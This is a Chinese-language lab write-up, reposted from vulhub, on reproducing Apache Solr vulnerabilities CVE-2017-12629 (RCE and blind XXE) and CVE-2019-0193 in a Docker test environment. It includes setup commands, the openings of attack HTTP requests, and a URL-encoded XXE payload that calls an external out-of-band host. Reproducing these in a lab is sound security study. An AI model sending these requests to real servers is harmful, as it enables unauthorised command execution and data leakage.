Solr(读作“solar”)是Apache Lucene项目的开源企业搜索平台。其主要功能包括全文检索、命中标示[1]、分面搜索、动态聚类、数据库集成,以及富文本(如Word、PDF)的处理。Solr是高度可扩展的,并提供了分布式搜索和索引复制。Solr是最流行的企业级搜索引擎,[2]Solr 4还增加了NoSQL支持。
Apache Solr 远程命令执行漏洞(CVE-2017-12629)
漏洞原理与分析可以参考:
靶机搭建
1 | cd vulhub/solr/CVE-2017-12629-RCE/ |
访问http://your-ip:8983/
即可查看到Apache solr的管理页面
漏洞复现
1.首先创建一个listener,其中设置exe的值为我们想执行的命令,args的值是命令参数:
1 | POST /solr/demo/config HTTP/1.1 |
在solr管理界面新建了listen
2.然后进行update操作,触发刚才添加的listener:
1 | POST /solr/demo/update HTTP/1.1 |
Apache solr XML 实体注入漏洞(CVE-2017-12629)
漏洞原理与分析可以参考:
Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。此次7.1.0之前版本总共爆出两个漏洞:XML实体扩展漏洞(XXE)和远程命令执行漏洞(RCE),二者可以连接成利用链,编号均为CVE-2017-12629。
漏洞复现
由于返回包中不包含我们传入的XML中的信息,所以这是一个Blind XXE漏洞,我们发送如下数据包(自行修改其中的XXE Payload):
1 | GET /solr/demo/select?q=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3C%21DOCTYPE%20root%20%5B%0A%3C%21ENTITY%20%25%20remote%20SYSTEM%20%22http%3A//xxe.rqe94e.ceye.io/%22%3E%0A%25remote%3B%5D%3E%0A%3Croot/%3E&wt=xml&defType=xmlparser HTTP/1.1 |
使用ceye
发送payload
ceye接收
Apache Solr 远程命令执行漏洞(CVE-2019-0193)
漏洞原理与分析可以参考:
Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。此次漏洞出现在Apache Solr的DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。它具有一个功能,其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置。由于DIH配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行。
本环境测试RCE漏洞。
运行漏洞环境:
1 | docker-compose up -d |
命令执行成功后,需要等待一会,之后访问http://your-ip:8983/
即可查看到Apache solr的管理页面,无需登录。
如上图所示,首先打开刚刚创建好的test
核心,选择Dataimport功能并选择debug模式,填入以下POC:
1 | <dataConfig> |
点击Execute with this Confuguration
会发送以下请求包:
payload(这里我直接填无法命令执行替换如下payload)
1 | POST /solr/test/dataimport?_=1565835261600&indent=on&wt=json HTTP/1.1 |
转载:
https://github.com/vulhub/vulhub/tree/master/solr/CVE-2019-0193-RCE